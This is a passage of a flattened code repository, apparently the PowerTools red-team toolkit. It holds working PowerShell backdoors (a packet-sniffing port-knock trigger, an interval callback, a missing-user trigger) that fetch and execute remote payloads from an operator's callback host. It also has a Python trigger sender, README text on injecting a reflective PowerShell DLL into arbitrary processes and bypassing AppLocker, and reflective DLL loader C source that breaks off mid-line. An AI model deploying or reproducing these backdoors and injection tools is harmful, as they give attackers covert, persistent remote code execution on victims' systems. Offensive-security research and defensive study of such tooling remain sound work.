[Security.Principal.WindowsIdentity]::GetCurrent()).IsInRole([Security.Principal.WindowsBuiltInRole] "Administrator")) 569 | { 570 | Write-Error "This backdoor requires Admin :(... get to work! " 571 | Return 0 572 | } 573 | 574 | if ($AddFWRules) 575 | { 576 | Write-Verbose "Adding FW Exception" 577 | $FWSuccess = Add-PSFirewallRules 578 | if($FWSuccess) 579 | { 580 | Write-Verbose "FW Exception Added" 581 | } 582 | else 583 | { 584 | Write-Verbose "FW Exception Failed... Quitting" 585 | Return 0 586 | } 587 | } 588 | else 589 | { 590 | Write-Verbose "!!! THIS BACKDOOR REQUIRES FIREWALL EXCEPTION !!!" 591 | } 592 | 593 | # try to figure out which IP address to bind to by looking at the default route 594 | if (-not $LocalIP) 595 | { 596 | route print 0* | % { 597 | if ($_ -match "\s{2,}0\.0\.0\.0") { 598 | $null,$null,$null,$LocalIP,$null = [regex]::replace($_.trimstart(" "),"\s{2,}",",").split(",") 599 | } 600 | } 601 | } 602 | 603 | #output info 604 | Write-Verbose "!!! THIS BACKDOOR REQUIRES FIREWALL EXCEPTION !!!" 605 | Write-Verbose "Timeout: $Timeout" 606 | Write-Verbose "Trigger: $Trigger" 607 | Write-Verbose "Using IPv4 Address: $LocalIP" 608 | Write-Verbose "CallbackURI: $CallbackURI" 609 | Write-Verbose "Starting backdoor..." 610 | 611 | #define bytes for socket setup 612 | $byteIn = New-Object byte[] 4 613 | $byteOut = New-Object byte[] 4 614 | $byteData = New-Object byte[] 4096 # size of data 615 | 616 | $byteIn[0] = 1 # this enables promiscuous mode (ReceiveAll) 617 | $byteIn[1-3] = 0 618 | $byteOut[0-3] = 0 619 | 620 | #Open a raw socket and set to promiscuous mode. Include the IP Header 621 | $socket = New-Object system.net.sockets.socket([Net.Sockets.AddressFamily]::InterNetwork,[Net.Sockets.SocketType]::Raw,[Net.Sockets.ProtocolType]::IP) 622 | $socket.setsocketoption("IP","HeaderIncluded",$True) 623 | $socket.ReceiveBufferSize = 819200 624 | 625 | #set the local socket info and bind it 626 | $ipendpoint = New-Object system.net.ipendpoint([net.ipaddress]"$localIP",0) 627 | $socket.bind($ipendpoint) 628 | 629 | #turn on promiscuous 630 | [void]$socket.iocontrol([net.sockets.iocontrolcode]::ReceiveAll,$byteIn,$byteOut) 631 | 632 | #set loop data 633 | $starttime = Get-Date 634 | $running = $True 635 | $match = "" 636 | $packets = @() 637 | while ($running) 638 | { 639 | #check timeout 640 | if ($Timeout -ne 0 -and ($([DateTime]::Now) -gt $starttime.addseconds($Timeout))) # if user-specified timeout has expired 641 | { 642 | $running=$False 643 | } 644 | #check for queued up packets 645 | if (-not $socket.Available) 646 | { 647 | Start-Sleep -milliseconds 500 648 | continue 649 | } 650 | 651 | #Take any date off the socket 652 | $rcv = $socket.receive($byteData,0,$byteData.length,[net.sockets.socketflags]::None) 653 | 654 | # Created streams and readers 655 | $MemoryStream = New-Object System.IO.MemoryStream($byteData,0,$rcv) 656 | $BinaryReader = New-Object System.IO.BinaryReader($MemoryStream) 657 | 658 | # Trash all the header bytes we dont care about. RFC 791 659 | $trash = $BinaryReader.ReadBytes(12) 660 | 661 | #Read the SRC and DST IP 662 | $SourceIPAddress = $BinaryReader.ReadUInt32() 663 | $SourceIPAddress = [System.Net.IPAddress]$SourceIPAddress 664 | $DestinationIPAddress = $BinaryReader.ReadUInt32() 665 | $DestinationIPAddress = [System.Net.IPAddress]$DestinationIPAddress 666 | $RemainderBytes = $BinaryReader.ReadBytes($MemoryStream.Length) 667 | 668 | #Convert the remainder of the packet into ASCII 669 | $AsciiEncoding = New-Object system.text.asciiencoding 670 | $RemainderOfPacket = $AsciiEncoding.GetString($RemainderBytes) 671 | 672 | #clean up clean up 673 | $BinaryReader.Close() 674 | $memorystream.Close() 675 | 676 | #check rest of packet for trigger value 677 | if ($RemainderOfPacket -match $Trigger) 678 | { 679 | Write-Verbose "Match: $SourceIPAddress" 680 | $running=$False 681 | $match = $SourceIPAddress 682 | } 683 | } 684 | 685 | while($match) 686 | { 687 | if($CallbackURI) 688 | { 689 | $success = Invoke-CallbackIEX $CallbackURI 690 | } 691 | else 692 | { 693 | $success = Invoke-CallbackIEX $Match 694 | } 695 | if ($success) 696 | { 697 | return 1 698 | } 699 | Start-Sleep -s $sleep 700 | 701 | } 702 | 703 | } 704 | 705 | function Invoke-LoopBackdoor 706 | { 707 | <# 708 | .SYNOPSIS 709 | Starts the Callback loop backdoor 710 | .DESCRIPTION 711 | The backdoor initiates a callback on a routine interval. If successful in executing a script, the backdoor will exit. 712 | Admin Reqd? No 713 | Firewall Hole Reqd? No 714 | .PARAMETER CallbackURI 715 | The IP Address of the host to callback to. 716 | .PARAMETER Timeout 717 | The time to run the backdoor. Default=0 (run forever) 718 | .PARAMETER Sleep 719 | The seconds to sleep between callback. Default=1. 720 | #> 721 | Param( 722 | [Parameter(Mandatory=$True,Position=1)] 723 | [string]$CallbackURI, 724 | [Parameter(Mandatory=$False,Position=2)] 725 | [int]$Timeout=0, 726 | [Parameter(Mandatory=$False,Position=3)] 727 | [int] $Sleep=30 728 | ) 729 | 730 | #Output info 731 | Write-Verbose "Timeout: $Timeout" 732 | Write-Verbose "Sleep: $Sleep" 733 | Write-Verbose "CallbackURI: $CallbackURI" 734 | Write-Verbose 735 | Write-Verbose "Starting backdoor..." 736 | 737 | #initiate loop variables 738 | $running=$True 739 | $match ="" 740 | $starttime = Get-Date 741 | while($running) 742 | { 743 | #check timeout value 744 | if ($Timeout -ne 0 -and ($([DateTime]::Now) -gt $starttime.addseconds($Timeout))) # if user-specified timeout has expired 745 | { 746 | $running=$False 747 | } 748 | 749 | $success = Invoke-CallbackIEX $CallbackURI 750 | 751 | if($success) 752 | { 753 | return 754 | } 755 | 756 | Start-Sleep -s $Sleep 757 | } 758 | 759 | } 760 | 761 | function Invoke-DeadUserBackdoor 762 | { 763 | <# 764 | .SYNOPSIS 765 | Backup backdoor for a backdoor user 766 | .DESCRIPTION 767 | The backdoor inspects the local system or domain for the presence of a user and calls back if it is not found 768 | Admin Reqd? No 769 | Firewall Hole Reqd? No 770 | .PARAMETER CallbackURI 771 | The IP Address of the host to callback to. 772 | .PARAMETER Timeout 773 | The time to run the backdoor. Default=0 (run forever) 774 | .PARAMETER Sleep 775 | The seconds to sleep between callback. Default=1. 776 | .PARAMETER Username 777 | The user to look for 778 | .PARAMETER Domain 779 | The domain to inspect. By default looks at local system 780 | #> 781 | Param( 782 | [Parameter(Mandatory=$True,Position=1)] 783 | [string]$CallbackURI, 784 | [Parameter(Mandatory=$False,Position=2)] 785 | [int]$Timeout=0, 786 | [Parameter(Mandatory=$False,Position=3)] 787 | [int] $Sleep=30, 788 | [Parameter(Mandatory=$True,Position=4)] 789 | [string] $Username, 790 | [Parameter(Mandatory=$False,Position=5)] 791 | [switch] $Domain 792 | ) 793 | 794 | #Output info 795 | Write-Verbose "Timeout: $Timeout" 796 | Write-Verbose "Sleep: $Sleep" 797 | Write-Verbose "CallbackURI: $CallbackURI" 798 | Write-Verbose "Username: $Username" 799 | Write-Verbose "Domain: $Domain" 800 | Write-Verbose "Starting backdoor..." 801 | 802 | #initiate loop variables 803 | $running=$True 804 | $match ="" 805 | $starttime = Get-Date 806 | while($running) 807 | { 808 | #check timeout value 809 | if ($Timeout -ne 0 -and ($([DateTime]::Now) -gt $starttime.addseconds($Timeout))) # if user-specified timeout has expired 810 | { 811 | $running=$False 812 | } 813 | 814 | #Check for the user... 815 | if($Domain) 816 | { 817 | $UserSearcher = [adsisearcher]"(&(samAccountType=805306368)(samAccountName=*$UserName*))" 818 | $UserSearcher.PageSize = 1000 819 | $count = @($UserSearcher.FindAll()).Count 820 | if($count -eq 0) 821 | { 822 | Write-Verbose "Domain user $Username not found!" 823 | $match=$True 824 | } 825 | } 826 | else 827 | { 828 | $comp = $env:computername 829 | [ADSI]$server="WinNT://$comp" 830 | $usercheck = $server.children | where{$_.schemaclassname -eq "user" -and $_.name -eq $Username} 831 | if(-not $usercheck) 832 | { 833 | Write-Verbose "Local user $Username not found!" 834 | $match=$True 835 | } 836 | } 837 | 838 | #if there is no user found, a match will trip 839 | while($match) 840 | { 841 | $success = Invoke-CallbackIEX $CallbackURI 842 | 843 | if ($success) 844 | { 845 | return 846 | } 847 | Start-Sleep -s $sleep 848 | } 849 | Start-Sleep -s $Sleep 850 | } 851 | } 852 | -------------------------------------------------------------------------------- /PowerBreach/README.md: -------------------------------------------------------------------------------- 1 | # PowerBreach 2 | PowerBreach is a backdoor toolkit that aims to provide the user a wide variety of methods to backdoor a system. It focuses on diversifying the "trigger" methods which allows the user flexibility on how to signal to the backdoor that it needs to phone home. PowerBreach focuses on memory only methods that do not persist across a reboot without further assistance and is not a silver bullet when it comes to cover communications. 3 | 4 | Developed by [@sixdub](https://twitter.com/sixdub) 5 | 6 | The following people helped or aided the work directly or indirectly: 7 | 8 | Part of Veil's [PowerTools](https://github.com/Veil-Framework/PowerTools) 9 | 10 | 11 | ## Helper Functions: 12 | Add-PSFirewallRules - Adds powershell to the firewall on 65K ports. Required Admin 13 | Invoke-CallbackIEX - The location for the various callback mechanisms. Calls back and executes encoded payload. 14 | 15 | ## Backdoors Available: 16 | Invoke-EventLogBackdoor: Monitors for failed RDP login attempts. Admin-Yes, Firewall-No, Auditing Reqd 17 | Invoke-PortBindBackdoor: Binds to TCP Port. Admin-No, Firewall-Yes 18 | Invoke-ResolverBackdoor: Resolves name to decide when to callback. Admin-No, Firewall-No 19 | Invoke-PortKnockBackdoor: Starts sniffer looking for trigger. Admin-Yes, Firewall-Yes 20 | Invoke-LoopBackdoor: Callsback on set interval. Admin-No, Firewall-No 21 | Invoke-DeadUserBackdoor: Looks for "dead" user and calls back when does not exist. Admin-No, Firewall-No 22 | 23 | ## Callback URIs Available: 24 | http:// - Perform standard http callback 25 | https:// - Perform standard https callback 26 | dnstxt:// - Resolve DNS text record for host which is the payload 27 | -------------------------------------------------------------------------------- /PowerBreach/changelog: -------------------------------------------------------------------------------- 1 | [2/2/2015] - sixdub - Initial commit of changelog. Added "dnstxt" callback function to allow dns txt records for paylods. Removed BITs method. Implemented URI parsing to decide callback method. Implemented recognition of failed callbacks and indefinite reattempts. -------------------------------------------------------------------------------- /PowerBreach/sendtrigger.py: -------------------------------------------------------------------------------- 1 | 2 | #This is a simple script that allows an operator to send a TCP or UDP packet at a system with a specified DATA portion. It is used in Veil PowerTools to trigger the PowerBreach backdoors that require a network trigger. 3 | import argparse 4 | import socket 5 | import time 6 | 7 | parser = argparse.ArgumentParser(description="Trigger your backdoors") 8 | parser.add_argument("target", help="The target you want to trigger") 9 | parser.add_argument("-m", "--method", type=int, choices=[0,1,2], default=0, help="Select method of trigger: 1(UDP), 2(TCP Bind)") 10 | parser.add_argument("-p", "--port", type=int, default=4444, help="Port number to trigger on") 11 | parser.set_defaults(noserver=False) 12 | args = parser.parse_args() 13 | 14 | targ = args.target 15 | port = args.port 16 | taskfile = args.task 17 | method = args.method 18 | 19 | #start up webserver 20 | if not args.noserver: 21 | thread.start_new_thread(task_listen,()) 22 | time.sleep(2) 23 | 24 | if method ==0: 25 | #Connect via UDP 26 | print "[*] Sending UDP Trigger to %s on port %s..." % (targ, str(port)) 27 | sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) 28 | sock.sendto("QAZWSX123", (targ, port)) 29 | print "[*] Trigger Sent" 30 | elif method==1: 31 | print "[*] Sending TCP Bind Trigger to %s on port %s..." % (targ, str(port)) 32 | sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 33 | sock.connect((targ,port)) 34 | sock.send("QAZWSX123") 35 | sock.close() 36 | print "[*] Trigger Sent" 37 | else: 38 | print "[!] ERROR... Wrong Method" 39 | 40 | 41 | 42 | 43 | 44 | 45 | 46 | 47 | -------------------------------------------------------------------------------- /PowerPick/.DS_Store: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/PowerShellEmpire/PowerTools/b980b13844166bf206f51e80ba2d70368515ab15/PowerPick/.DS_Store -------------------------------------------------------------------------------- /PowerPick/PSInjector/CurrentDLLs/.DS_Store: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/PowerShellEmpire/PowerTools/b980b13844166bf206f51e80ba2d70368515ab15/PowerPick/PSInjector/CurrentDLLs/.DS_Store -------------------------------------------------------------------------------- /PowerPick/PSInjector/CurrentDLLs/ReflectivePick_x64.dll: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/PowerShellEmpire/PowerTools/b980b13844166bf206f51e80ba2d70368515ab15/PowerPick/PSInjector/CurrentDLLs/ReflectivePick_x64.dll -------------------------------------------------------------------------------- /PowerPick/PSInjector/CurrentDLLs/ReflectivePick_x64.dll.enc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/PowerShellEmpire/PowerTools/b980b13844166bf206f51e80ba2d70368515ab15/PowerPick/PSInjector/CurrentDLLs/ReflectivePick_x64.dll.enc -------------------------------------------------------------------------------- /PowerPick/PSInjector/CurrentDLLs/ReflectivePick_x86.dll: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/PowerShellEmpire/PowerTools/b980b13844166bf206f51e80ba2d70368515ab15/PowerPick/PSInjector/CurrentDLLs/ReflectivePick_x86.dll -------------------------------------------------------------------------------- /PowerPick/PSInjector/CurrentDLLs/ReflectivePick_x86.dll.enc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/PowerShellEmpire/PowerTools/b980b13844166bf206f51e80ba2d70368515ab15/PowerPick/PSInjector/CurrentDLLs/ReflectivePick_x86.dll.enc -------------------------------------------------------------------------------- /PowerPick/PSInjector/DLLEnc.ps1: -------------------------------------------------------------------------------- 1 | function Invoke-DllEncode 2 | { 3 | Param( 4 | [Parameter(Position = 0)] 5 | [String] 6 | $InputPath, 7 | [Parameter(Position = 1)] 8 | [String] 9 | $OutputPath=$InputPath+".enc" 10 | ) 11 | $Content = Get-Content -Path $InputPath -Encoding Byte 12 | $Base64 = [System.Convert]::ToBase64String($Content) 13 | $Base64 | Out-File $OutputPath 14 | } -------------------------------------------------------------------------------- /PowerPick/PowerPick.sdf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/PowerShellEmpire/PowerTools/b980b13844166bf206f51e80ba2d70368515ab15/PowerPick/PowerPick.sdf -------------------------------------------------------------------------------- /PowerPick/PowerPick.sln: -------------------------------------------------------------------------------- 1 |  2 | Microsoft Visual Studio Solution File, Format Version 11.00 3 | # Visual Studio 2010 4 | Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "SharpPick", "SharpPick\SharpPick.csproj", "{5ED2F78E-8538-4C87-BCED-E19E9DAD879C}" 5 | EndProject 6 | Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "ReflectivePick", "ReflectivePick\ReflectivePick.vcxproj", "{7C3D26E5-0A61-479A-AFAC-D34F2659F301}" 7 | EndProject 8 | Project("{2150E333-8FDC-42A3-9474-1A3956D46DE8}") = "Solution Items", "Solution Items", "{F192DE99-118D-4E1D-8469-7F710C7F6CDC}" 9 | ProjectSection(SolutionItems) = preProject 10 | README.md = README.md 11 | EndProjectSection 12 | EndProject 13 | Global 14 | GlobalSection(SolutionConfigurationPlatforms) = preSolution 15 | Debug|Mixed Platforms = Debug|Mixed Platforms 16 | Debug|x64 = Debug|x64 17 | Debug|x86 = Debug|x86 18 | Release|Mixed Platforms = Release|Mixed Platforms 19 | Release|x64 = Release|x64 20 | Release|x86 = Release|x86 21 | EndGlobalSection 22 | GlobalSection(ProjectConfigurationPlatforms) = postSolution 23 | {5ED2F78E-8538-4C87-BCED-E19E9DAD879C}.Debug|Mixed Platforms.ActiveCfg = Debug|x86 24 | {5ED2F78E-8538-4C87-BCED-E19E9DAD879C}.Debug|Mixed Platforms.Build.0 = Debug|x86 25 | {5ED2F78E-8538-4C87-BCED-E19E9DAD879C}.Debug|x64.ActiveCfg = Debug|x64 26 | {5ED2F78E-8538-4C87-BCED-E19E9DAD879C}.Debug|x64.Build.0 = Debug|x64 27 | {5ED2F78E-8538-4C87-BCED-E19E9DAD879C}.Debug|x86.ActiveCfg = Debug|x86 28 | {5ED2F78E-8538-4C87-BCED-E19E9DAD879C}.Debug|x86.Build.0 = Debug|x86 29 | {5ED2F78E-8538-4C87-BCED-E19E9DAD879C}.Release|Mixed Platforms.ActiveCfg = Release|x86 30 | {5ED2F78E-8538-4C87-BCED-E19E9DAD879C}.Release|Mixed Platforms.Build.0 = Release|x86 31 | {5ED2F78E-8538-4C87-BCED-E19E9DAD879C}.Release|x64.ActiveCfg = Release|x64 32 | {5ED2F78E-8538-4C87-BCED-E19E9DAD879C}.Release|x64.Build.0 = Release|x64 33 | {5ED2F78E-8538-4C87-BCED-E19E9DAD879C}.Release|x86.ActiveCfg = Release|x86 34 | {5ED2F78E-8538-4C87-BCED-E19E9DAD879C}.Release|x86.Build.0 = Release|x86 35 | {7C3D26E5-0A61-479A-AFAC-D34F2659F301}.Debug|Mixed Platforms.ActiveCfg = Debug|Win32 36 | {7C3D26E5-0A61-479A-AFAC-D34F2659F301}.Debug|Mixed Platforms.Build.0 = Debug|Win32 37 | {7C3D26E5-0A61-479A-AFAC-D34F2659F301}.Debug|x64.ActiveCfg = Debug|x64 38 | {7C3D26E5-0A61-479A-AFAC-D34F2659F301}.Debug|x64.Build.0 = Debug|x64 39 | {7C3D26E5-0A61-479A-AFAC-D34F2659F301}.Debug|x86.ActiveCfg = Debug|Win32 40 | {7C3D26E5-0A61-479A-AFAC-D34F2659F301}.Debug|x86.Build.0 = Debug|Win32 41 | {7C3D26E5-0A61-479A-AFAC-D34F2659F301}.Release|Mixed Platforms.ActiveCfg = Release|Win32 42 | {7C3D26E5-0A61-479A-AFAC-D34F2659F301}.Release|Mixed Platforms.Build.0 = Release|Win32 43 | {7C3D26E5-0A61-479A-AFAC-D34F2659F301}.Release|x64.ActiveCfg = Release|x64 44 | {7C3D26E5-0A61-479A-AFAC-D34F2659F301}.Release|x64.Build.0 = Release|x64 45 | {7C3D26E5-0A61-479A-AFAC-D34F2659F301}.Release|x86.ActiveCfg = Release|Win32 46 | {7C3D26E5-0A61-479A-AFAC-D34F2659F301}.Release|x86.Build.0 = Release|Win32 47 | EndGlobalSection 48 | GlobalSection(SolutionProperties) = preSolution 49 | HideSolutionNode = FALSE 50 | EndGlobalSection 51 | EndGlobal 52 | -------------------------------------------------------------------------------- /PowerPick/README.md: -------------------------------------------------------------------------------- 1 | This project focuses on allowing the execution of Powershell functionality without the use of Powershell.exe. Primarily this project uses.NET assemblies/libraries to start execution of the Powershell scripts. 2 | 3 | Many thanks to those in the offensive powershell community. This work is not ground breaking but hopefully will motivate offense and defense to understand the implications and lack of protections available. 4 | 5 | Of special note, many thanks to the following for their help/work in this project indirectly by being so awesome and coming up with awesome work: 6 | Matt Graeber (@mattifestation) 7 | Joe Bialek (@JosephBialek) 8 | Lee Christensen (@tifkin_) 9 | Will Schroeder (@harmj0y) 10 | Stark 11 | 12 | ## PSInject.ps1 13 | This project provides a powershell scipt (psinject.ps1) which implements the Invoke-PSInject function. This script is based off Powersploit's Invoke-ReflectivePEInjection and reflectively injects the ReflectivePick DLL. It allows for the replacement of the callback URL that is hard coded into the DLL. See this script for more details. 14 | 15 | The script that it calls back for must be base64 encoded. To do this, you can simply use the built in linux utility 'base64'. 16 | 17 | #### Example: 18 | import-module psinject.ps1 19 | Invoke-PSInject -Verbose -ProcID 0000 -CBURL http://1.1.1.1/favicon.ico 20 | 21 | ## ReflectivePick 22 | This project is a reflective DLL based on Stephen Fewer's method. It imports/runs a .NET assembly into its memory space that supports the running of Powershell code using System.Management.Automation. Due to its' reflective property, it can be injected into any process using a reflective injector and allows the execution of Powershell code by any process, not just Powershell.exe. It extends inject/migrate capabilities into powershell. 23 | 24 | This DLL is meant to be used with PSInject.ps1 which provide the ability to modify the hardcoded callback URL or with Metasploit after compiling or patching the URL manually. 25 | 26 | ## SharpPick 27 | This project is a .NET executable which allows execution of Powershell code through a number of methods. The script can be embedded as a resource, read from a url, appeneded to the binary, or read from a file. It was originally used as a proof of concept to demonstrate/test the blocking of powershell and bypass of applocker. 28 | 29 | #### Man Page 30 | sharppick.exe [ ] 31 | flags: 32 | -f : Read script from specified file 33 | -r : Read script from specified resource 34 | -d : Read script from URL 35 | -a : Read script appended to current binary after specified delimeter. Delimeter should be very very unique string 36 | 37 | More SharpPick details [here](http://sixdub.net/2014/12/inexorable-powershell-a-red-teamers-tale-of-overcoming-simple-applocker-policies/) 38 | 39 | Developed by [@sixdub](https://twitter.com/sixdub) 40 | 41 | Part of Veil's [PowerTools](https://github.com/Veil-Framework/PowerTools) 42 | -------------------------------------------------------------------------------- /PowerPick/ReflectivePick/.DS_Store: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/PowerShellEmpire/PowerTools/b980b13844166bf206f51e80ba2d70368515ab15/PowerPick/ReflectivePick/.DS_Store -------------------------------------------------------------------------------- /PowerPick/ReflectivePick/ReflectiveDLLInjection.h: -------------------------------------------------------------------------------- 1 | //===============================================================================================// 2 | // Copyright (c) 2012, Stephen Fewer of Harmony Security (www.harmonysecurity.com) 3 | // All rights reserved. 4 | // 5 | // Redistribution and use in source and binary forms, with or without modification, are permitted 6 | // provided that the following conditions are met: 7 | // 8 | // * Redistributions of source code must retain the above copyright notice, this list of 9 | // conditions and the following disclaimer. 10 | // 11 | // * Redistributions in binary form must reproduce the above copyright notice, this list of 12 | // conditions and the following disclaimer in the documentation and/or other materials provided 13 | // with the distribution. 14 | // 15 | // * Neither the name of Harmony Security nor the names of its contributors may be used to 16 | // endorse or promote products derived from this software without specific prior written permission. 17 | // 18 | // THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR 19 | // IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND 20 | // FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR 21 | // CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR 22 | // CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR 23 | // SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY 24 | // THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR 25 | // OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE 26 | // POSSIBILITY OF SUCH DAMAGE. 27 | //===============================================================================================// 28 | #ifndef _REFLECTIVEDLLINJECTION_REFLECTIVEDLLINJECTION_H 29 | #define _REFLECTIVEDLLINJECTION_REFLECTIVEDLLINJECTION_H 30 | //===============================================================================================// 31 | #define WIN32_LEAN_AND_MEAN 32 | #include 33 | 34 | // we declare some common stuff in here... 35 | 36 | #define DLL_QUERY_HMODULE 6 37 | 38 | #define DEREF( name )*(UINT_PTR *)(name) 39 | #define DEREF_64( name )*(DWORD64 *)(name) 40 | #define DEREF_32( name )*(DWORD *)(name) 41 | #define DEREF_16( name )*(WORD *)(name) 42 | #define DEREF_8( name )*(BYTE *)(name) 43 | 44 | typedef ULONG_PTR (WINAPI * REFLECTIVELOADER)( VOID ); 45 | typedef BOOL (WINAPI * DLLMAIN)( HINSTANCE, DWORD, LPVOID ); 46 | 47 | #define DLLEXPORT __declspec( dllexport ) 48 | 49 | //===============================================================================================// 50 | #endif 51 | //===============================================================================================// -------------------------------------------------------------------------------- /PowerPick/ReflectivePick/ReflectiveLoader.c: -------------------------------------------------------------------------------- 1 | //===============================================================================================// 2 | // Copyright (c) 2012, Stephen Fewer of Harmony Security (www.harmonysecurity.com) 3 | // All rights reserved. 4 | // 5 | // Redistribution and use in source and binary forms, with or without modification, are permitted 6 | // provided that the following conditions are met: 7 | // 8 | // * Redistributions of source code must retain the above copyright notice, this list of 9 | // conditions and the following disclaimer. 10 | // 11 | // * Redistributions in binary form must reproduce the above copyright notice, this list of 12 | // conditions and the following disclaimer in the documentation and/or other materials provided 13 | // with the distribution. 14 | // 15 | // * Neither the name of Harmony Security nor the names of its contributors may be used to 16 | // endorse or promote products derived from this software without specific prior written permission. 17 | // 18 | // THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR 19 | // IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND 20 | // FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR 21 | // CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR 22 | // CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR 23 | // SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY 24 | // THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR 25 | // OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE 26 | // POSSIBILITY OF SUCH DAMAGE. 27 | //===============================================================================================// 28 | #include "ReflectiveLoader.h" 29 | //===============================================================================================// 30 | // Our loader will set this to a pseudo correct HINSTANCE/HMODULE value 31 | HINSTANCE hAppInstance = NULL; 32 | //===============================================================================================// 33 | #pragma intrinsic( _ReturnAddress ) 34 | // This function can not be inlined by the compiler or we will not get the address we expect. Ideally 35 | // this code will be compiled with the /O2 and /Ob1 switches. Bonus points if we could take advantage of 36 | // RIP relative addressing in this instance but I dont believe we can do so with the compiler intrinsics 37 | // available (and no inline asm available under x64). 38 | __declspec(noinline) ULONG_PTR caller( VOID ) { return (ULONG_PTR)_ReturnAddress(); } 39 | //===============================================================================================// 40 | 41 | // Note 1: If you want to have your own DllMain, define REFLECTIVEDLLINJECTION_CUSTOM_DLLMAIN, 42 | // otherwise the DllMain at the end of this file will be used. 43 | 44 | // Note 2: If you are injecting the DLL via LoadRemoteLibraryR, define REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR, 45 | // otherwise it is assumed you are calling the ReflectiveLoader via a stub. 46 | 47 | // This is our position independent reflective DLL loader/injector 48 | #ifdef REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR 49 | DLLEXPORT ULONG_PTR WINAPI ReflectiveLoader( LPVOID lpParameter ) 50 | #else 51 | DLLEXPORT ULONG_PTR WINAPI ReflectiveLoader( VOID ) 52 | #endif 53 | { 54 | // the functions we need 55 | LOADLIBRARYA pLoadLibraryA = NULL; 56 | GETPROCADDRESS pGetProcAddress = NULL; 57 | VIRTUALALLOC pVirtualAlloc = NULL; 58 | NTFLUSHINSTRUCTIONCACHE pNtFlushInstructionCache = NULL; 59 | 60 | USHORT usCounter; 61 | 62 | // the initial location of this image in memory 63 | ULONG_PTR uiLibraryAddress; 64 | // the kernels base address and later this images newly loaded base address 65 | ULONG_PTR uiBaseAddress; 66 | 67 | // variables for processing the kernels export table 68 | ULONG_PTR uiAddressArray; 69 | ULONG_PTR uiNameArray; 70 | ULONG_PTR uiExportDir; 71 | ULONG_PTR uiNameOrdinals; 72 | DWORD dwHashValue; 73 | 74 | // variables for loading this image 75 | ULONG_PTR uiHeaderValue; 76 | ULONG_PTR uiValueA; 77 | ULONG_PTR uiValueB; 78 | ULONG_PTR uiValueC; 79 | ULONG_PTR uiValueD; 80 | ULONG_PTR uiValueE; 81 | 82 | // STEP 0: calculate our images current base address 83 | 84 | // we will start searching backwards from our callers return address. 85 | uiLibraryAddress = caller(); 86 | 87 | // loop through memory backwards searching for our images base address 88 | // we dont need SEH style search as we shouldnt generate any access violations with this 89 | while( TRUE ) 90 | { 91 | if( ((PIMAGE_DOS_HEADER)uiLibraryAddress)->e_magic == IMAGE_DOS_SIGNATURE ) 92 | { 93 | uiHeaderValue = ((PIMAGE_DOS_HEADER)uiLibraryAddress)->e_lfanew; 94 | // some x64 dll's can trigger a bogus signature (IMAGE_DOS_SIGNATURE == 'POP r10'), 95 | // we sanity check the e_lfanew with an upper threshold value of 1024 to avoid problems. 96 | if( uiHeaderValue >= sizeof(IMAGE_DOS_HEADER) && uiHeaderValue < 1024 ) 97 | { 98 | uiHeaderValue += uiLibraryAddress; 99 | // break if we have found a valid MZ/PE header 100 | if( ((PIMAGE_NT_HEADERS)uiHeaderValue)->Signature == IMAGE_NT_SIGNATURE ) 101 | break; 102 | } 103 | } 104 | uiLibraryAddress--; 105 | } 106 | 107 | // STEP 1: process the kernels exports for the functions our loader needs... 108 | 109 | // get the Process Enviroment Block 110 | #ifdef WIN_X64 111 | uiBaseAddress = __readgsqword( 0x60 ); 112 | #else 113 | #ifdef WIN_X86 114 | uiBaseAddress = __readfsdword( 0x30 ); 115 | //#else WIN_ARM 116 | // uiBaseAddress = *(DWORD *)( (BYTE *)_MoveFromCoprocessor( 15, 0, 13, 0, 2 ) + 0x30 ); 117 | #endif 118 | #endif 119 | 120 | // get the processes loaded modules. ref: http://msdn.microsoft.com/en-us/library/aa813708(VS.85).aspx 121 | uiBaseAddress = (ULONG_PTR)((_PPEB)uiBaseAddress)->pLdr; 122 | 123 | // get the first entry of the InMemoryOrder module list 124 | uiValueA = 